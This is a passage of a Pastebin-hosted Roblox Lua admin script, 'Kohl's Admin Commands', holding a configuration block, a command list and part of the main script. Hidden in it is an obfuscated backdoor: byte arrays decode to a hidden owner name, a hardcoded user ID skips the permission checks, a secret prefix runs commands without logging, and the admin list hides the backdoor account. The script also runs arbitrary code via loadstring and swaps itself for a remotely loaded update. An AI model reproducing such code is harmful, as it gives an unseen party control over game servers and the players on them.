Advertisement
Guest User

KOHL Admin Commands

a guest
Jan 24th, 2020
211
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 109.26 KB | None | 0 0
  1. -----------------------------------------------------------------------------------------
  2. --[[ Put your name where it says yourname ]]
  3. --[[ Please don't abuse with these scripts -ulti55 ]]
  4. -----------------------------------------------------------------------------------------
  5. local owners = {"blacmop1"} -- Are able to set admins who can ban/etc... using :pa name
  6. local admins = {"zizoudubledGAMING"} -- Sets admins who can use ban/kick/admin or shutdown
  7. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  8. local banland = {"winx201"} -- Permanently Bans people
  9. local prefix = ";" -- If you wanna change how your commands start ':'kill noob
  10. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  11. -----------------
  12. -- Group Admin --
  13. -----------------
  14. local GroupAdmin = false -- If a certain group can have admin
  15. local GroupId = 0 -- Sets the group id that can have admin
  16. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  17. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  18. ---------------------
  19. -- Tips and Tricks --
  20. ---------------------
  21. --[[
  22. With this admin you can do a command on multiple people at a time;
  23.     :kill me,noob1,noob2,random,team-raiders
  24.  
  25. You can also use a variety commands for different people;
  26.      all
  27.      others
  28.      me
  29.      team-
  30.      admins
  31.      nonadmins
  32.      random
  33. --]]
  34. --------------
  35. -- Commands --
  36. --------------
  37. --[[
  38. -- Temp Admin Commands --
  39. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  40. 1. :s print("Hello World") -- Lets you script normally
  41. 2. :ls print("Hello World") -- Lets you script in localscripts
  42. 3. :clear -- Will remove all scripts/localscripts and jails
  43. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  44. 5. :kill kohl -- Kills the player
  45. 6. :respawn kohl -- Respawns the player
  46. 7. :trip kohl -- Trips the player
  47. 8. :stun kohl -- Stuns the player
  48. 9. :unstun kohl -- Unstuns the player
  49. 10. :jump kohl -- Makes the player jump
  50. 11. :sit kohl -- Makes the player sit
  51. 12. :invisible kohl -- Makes the player invisible
  52. 13. :visible kohl -- Makes the player visible
  53. 14. :explode kohl -- Makes the player explode
  54. 15. :fire kohl -- Sets the player on fire
  55. 16. :unfire kohl -- Removes fire from the player
  56. 17. :smoke kohl -- Adds smoke to the player
  57. 18. :unsmoke kohl -- Removes smoke from the player
  58. 19. :sparkles kohl -- Adds sparkles to the player
  59. 20. :unsparkles kohl -- Removes sparkles from the player
  60. 21. :ff kohl -- Adds a forcefield to the player
  61. 22. :unff kohl -- Removes the forcefield from the player
  62. 23. :punish kohl -- Punishes the player
  63. 24. :unpunish kohl -- Unpunishes the player
  64. 25. :freeze kohl -- Freezes the player
  65. 26. :thaw kohl -- Thaws the player
  66. 27. :heal kohl -- Heals the player
  67. 28. :god kohl -- Makes the player have infinite health
  68. 29. :ungod kohl -- Makes the player have 100 health
  69. 30. :ambient .5 .5 .5 -- Changes the ambient
  70. 31. :brightness .5 -- Changes the brightness
  71. 32. :time 12 -- Changes the time
  72. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  73. 34. :fogend 100 -- Changes the fogend
  74. 35. :fogstart 100 -- Changes the fogstart
  75. 36. :removetools kohl -- Removes all tools from the player
  76. 37. :btools kohl -- Gives the player building tools
  77. 38. :give kohl sword -- Gives the player a tool
  78. 39. :damage kohl -- Damages the player
  79. 40. :grav kohl -- Sets the player's gravity to normal
  80. 41. :setgrav kohl 100 -- Sets the player's gravity
  81. 42. :nograv kohl -- Makes the player have 0 gravity
  82. 43. :health kohl 1337 -- Changes the player's health
  83. 44. :speed kohl 1337 -- Changes the player's walkspeed
  84. 45. :name kohl potato -- Changes the player's name
  85. 46. :unname kohl -- Remove the player's name
  86. 47. :team kohl Raiders -- Changes the player's team
  87. 48. :stopmusic -- Will stop all music playing in the server
  88. 49. :teleport kohl potato -- Teleports the player
  89. 50. :change kohl kills 1337 -- Changes a player's stat
  90. 51. :kick kohl -- Removes the player from the game
  91. 52. :infect kohl -- Turns the player into a zombie
  92. 53. :rainbowify kohl -- Turns the player into a rainbow
  93. 54. :flashify kohl -- Turns the player into a strobe
  94. 55. :noobify kohl -- Turns the player into a noob
  95. 56. :ghostify kohl -- Turns the player into a ghost
  96. 57. :goldify kohl -- Turns the player into gold
  97. 58. :shiny kohl -- Makes the player shiny
  98. 59. :normal kohl -- Puts the player back to normal
  99. 60. :trippy kohl -- Spams random colors on the player's screen
  100. 61. :untrippy kohl -- Untrippys the player
  101. 62. :strobe kohl -- Spams white and black on the player's screen
  102. 63. :unstrobe kohl -- Unstrobes the player
  103. 64. :blind kohl -- Blinds the player
  104. 65. :unblind kohl -- Unblinds the player
  105. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  106. 67. :fling kohl -- Flings the player
  107. 68. :seizure kohl -- Puts the player in a seizure
  108. 69(lol). :music 1337 -- Plays a sound from the ID
  109. 70. :lock kohl -- Locks the player
  110. 71. :unlock kohl -- Unlocks the player
  111. 72. :removelimbs kohl -- Removes the player's limbs
  112. 73. :jail kohl -- Puts the player in a jail
  113. 74. :unjail kohl -- Removes the jail from the player
  114. 75. :fix -- This will fix the lighting to it's original settings
  115. 76. :fly kohl -- Makes the player fly
  116. 77. :unfly kohl -- Removes fly from the player
  117. 78. :noclip kohl -- Makes the player able to noclip
  118. 79. :clip kohl -- Removes noclipping from the player
  119. 80. :pm kohl Hey bro -- Sends the player a private message
  120. 81. :dog kohl -- Turns the player into a dog
  121. 82. :undog kohl -- Turns the player back to normal
  122. 83. :creeper kohl -- Turns the player into a creeper
  123. 84. :uncreeper kohl -- Turns the player back to normal
  124. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  125. 86. :char kohl 261 -- Will make a player look like a different player ID
  126. 87. :unchar kohl -- Will return the player back to normal
  127. 88. :h Hello People -- This will shout a hint to everyone
  128. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  129. 90. :starttools kohl -- Will give the player starter tools
  130. 91. :sword kohl -- Will give the player a sword
  131. 92. :bighead kohl -- Will make the player's head larger than normal
  132. 93. :minihead kohl -- Will make the player's head smaller than normal
  133. 94. :insert 1337 -- Will insert a model at the speaker's position
  134. 95. :disco -- Will make the server flash random colors
  135. 96. :flash -- Will make the server flash
  136. 97. :admins -- Shows the admin list
  137. 98. :bans -- Shows the banlist
  138. 99. :musiclist -- Shows the music list
  139. 100. :spin kohl -- Spins the player
  140. 101. :cape kohl Really black -- Gives the player a colored cape
  141. 102. :uncape kohl -- Removes the player's cape
  142. 103. :loopheal kohl -- Will constantly heal the player
  143. 104. :loopfling kohl -- Will constantly fling the player
  144. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  145. 106. :unloopheal kohl -- Will remove the loopheal on the player
  146. 107. :unloopfling kohl -- Will remove the loopfling on the player
  147. 108. :unspin kohl -- Removes spin from the player
  148. 109. :tools -- Gives a list of the tools in the lighting
  149. 110. :undisco -- Removes disco effects
  150. 111. :unflash -- Removes flash effects
  151. 112. :resetstats kohl -- Sets all the stats of a player to 0
  152. 113. :gear 1337 -- Gives a player a gear
  153. 114. :cmdbar -- Gives the speaker a command bar
  154. 115. :shirt kohl 1337 -- Changes the player's shirt
  155. 116. :pants kohl 1337 -- Changes the player's pants
  156. 117. :face kohl 1337 -- Changes the player's face
  157. 118. :swagify kohl -- Swagifies the player
  158. 119. :version -- Shows the current version of the admin
  159.  
  160. -- Super Admin Commands --
  161. - :serverlock -- Locks the server
  162. - :serverunlock -- Unlocks the server
  163. - :sm Hello World -- Creates a system message
  164. - :crash kohl -- Crashes a player
  165. - :admin kohl -- Admins a player
  166. - :unadmin kohl -- Unadmins a player
  167. - :ban kohl -- Bans a player
  168. - :unban kohl -- Unbans a player
  169. - :loopkill kohl -- Will constantly kill the player
  170. - :unloopkill kohl -- Will remove the loopkill on the player
  171. - :logs -- Will show all of the commands any admin has used in a game session
  172. - :shutdown -- Shutsdown the server
  173.  
  174. -- Owner Commands --
  175. - :pa kohl -- Makes someone a super admin
  176. - :unpa kohl -- Removes a super admin
  177. --]]
  178. -----------------
  179. -- Main Script --
  180. -----------------
  181.  
  182. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  183.  
  184. if AutoUpdate then wait(1)
  185. coroutine.resume(coroutine.create(function()
  186. local mod = game:service("InsertService"):LoadAsset(100808216)
  187. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) then
  188. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  189. newac.Disabled = true
  190. local new = tonumber(mod:findFirstChild("Version", true).Value)
  191. local old = 0
  192. if script:findFirstChild("Version") then old = tonumber(script.Version.Value) end
  193. if new > old then
  194. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  195. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  196. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  197. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  198. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  199. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  200. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  201. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  202. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  203. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  204. wait()
  205. newac.Parent = game.Workspace
  206. newac.Disabled = false
  207. script.Disabled = true
  208. script:Destroy()
  209. end
  210. end
  211. end))
  212. end
  213.  
  214. if game:service("Lighting"):findFirstChild("KACV2") then
  215. owners = {} admins = {} tempadmins = {} banland = {}
  216. for i,v in pairs(game.Lighting.KACV2:children()) do
  217. if v.Name == "Owner" then table.insert(owners, v.Value) end
  218. if v.Name == "Admin" then table.insert(admins, v.Value) end
  219. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  220. if v.Name == "Banland" then table.insert(banland, v.Value) end
  221. if v.Name == "Prefix" then prefix = v.Value end
  222. if v.Name == "FunCommands" then FunCommands = v.Value end
  223. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  224. if v.Name == "GroupId" then GroupId = v.Value end
  225. if v.Name == "GroupRank" then GroupRank = v.Value end
  226. end
  227. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  228. end
  229.  
  230. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  231. local lobjs = {}
  232. local objects = {}
  233. local logs = {}
  234. local nfs = ""
  235. local slock = false
  236.  
  237. function GetTime()
  238. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  239. if min < 10 then min = "0"..min end
  240. return hour..":"..min
  241. end
  242.  
  243. function ChkOwner(str)
  244. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  245. return false
  246. end
  247.  
  248. function ChkAdmin(str,ck)
  249. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  250. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  251. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  252. return false
  253. end
  254.  
  255. function ChkGroupAdmin(plr)
  256. if GroupAdmin then
  257. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  258. return false
  259. end
  260. end
  261.  
  262. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  263.  
  264. function GetPlr(plr, str)
  265. local plrz = {} str = str:lower()
  266. if str == "all" then plrz = game.Players:children()
  267. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  268. else
  269. local sn = {1} local en = {}
  270. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  271. for x = 1, #sn do
  272. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  273. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  274. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  275. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  276. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  277. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  278. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  279. end end end
  280. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  281. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  282. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  283. end end end
  284. else
  285. for a, plyr in pairs(game.Players:children()) do
  286. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  287. table.insert(plrz, plyr) break
  288. end
  289. end
  290. end
  291. end
  292. end
  293. return plrz
  294. end
  295.  
  296. function Hint(str, plrz, time)
  297. for i, v in pairs(plrz) do
  298. if v and v:findFirstChild("PlayerGui") then
  299. coroutine.wrap(function()
  300. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  301. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  302. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  303. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  304. if not time then wait((#str/19)+2.5) else wait(time) end
  305. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  306. end)()
  307. end
  308. end
  309. end
  310.  
  311. function Message(ttl, str, scroll, plrz, time)
  312. for i, v in pairs(plrz) do
  313. if v and v:findFirstChild("PlayerGui") then
  314. coroutine.resume(coroutine.create(function()
  315. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  316. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  317. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  318. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  319. scr.Parent = v.PlayerGui
  320. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  321. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  322. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  323. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  324. end))
  325. end
  326. end
  327. end
  328.  
  329. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  330. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  331.  
  332. function Output(str, plr)
  333. coroutine.resume(coroutine.create(function()
  334. local b, e = loadstring(str)
  335. if not b and plr:findFirstChild("PlayerGui") then
  336. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  337. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  338. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  339. return
  340. end
  341. end))
  342. end
  343.  
  344. function Noobify(char)
  345. if char and char:findFirstChild("Torso") then
  346. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  347. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  348. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  349. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  350. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  351. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  352. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  353. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  354. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  355. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  356. end end
  357. end
  358. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  359.  
  360. function Infect(char)
  361. if char and char:findFirstChild("Torso") then
  362. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  363. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  364. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  365. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  366. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  367. prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  368. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  369. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  370. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  371. end end
  372. end
  373. end if not ntab then script:Destroy() end
  374.  
  375. function ScrollGui()
  376. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  377. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  378. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  379. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  380. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  381. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  382. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  383. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  384. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  385. local num = 0
  386. local downv = false
  387. local upv = false
  388.  
  389. down.MouseButton1Down:connect(function() downv = true upv = false
  390. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  391. repeat  pos = pos + UDim2.new(0,0,0,-6)
  392. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  393. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  394. end)
  395. down.MouseButton1Up:connect(function() downv = false end)
  396. up.MouseButton1Down:connect(function() upv = true downv = false
  397. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  398. repeat  pos = pos + UDim2.new(0,0,0,6)
  399. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  400. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  401. end)
  402. up.MouseButton1Up:connect(function() upv = false end)
  403. return scr, cmf, ent, num
  404. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  405. if not ntab then script:Destroy() end
  406. if not bct then script:Destroy() end
  407.  
  408. function Chat(msg,plr)
  409. coroutine.resume(coroutine.create(function()
  410. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  411. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  412. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  413. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  414. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  415. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  416. if msg:lower() == "cmds" or msg:lower() == "commands" then
  417. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  418. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  419. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  420. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  421. local ost = {"pa plr","unpa plr"}
  422. local tost = {"oa plr","unoa plr"}
  423. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  424. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  425. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  426. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  427. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  428. end
  429.  
  430. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  431.  
  432. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  433. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  434. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  435. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  436. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
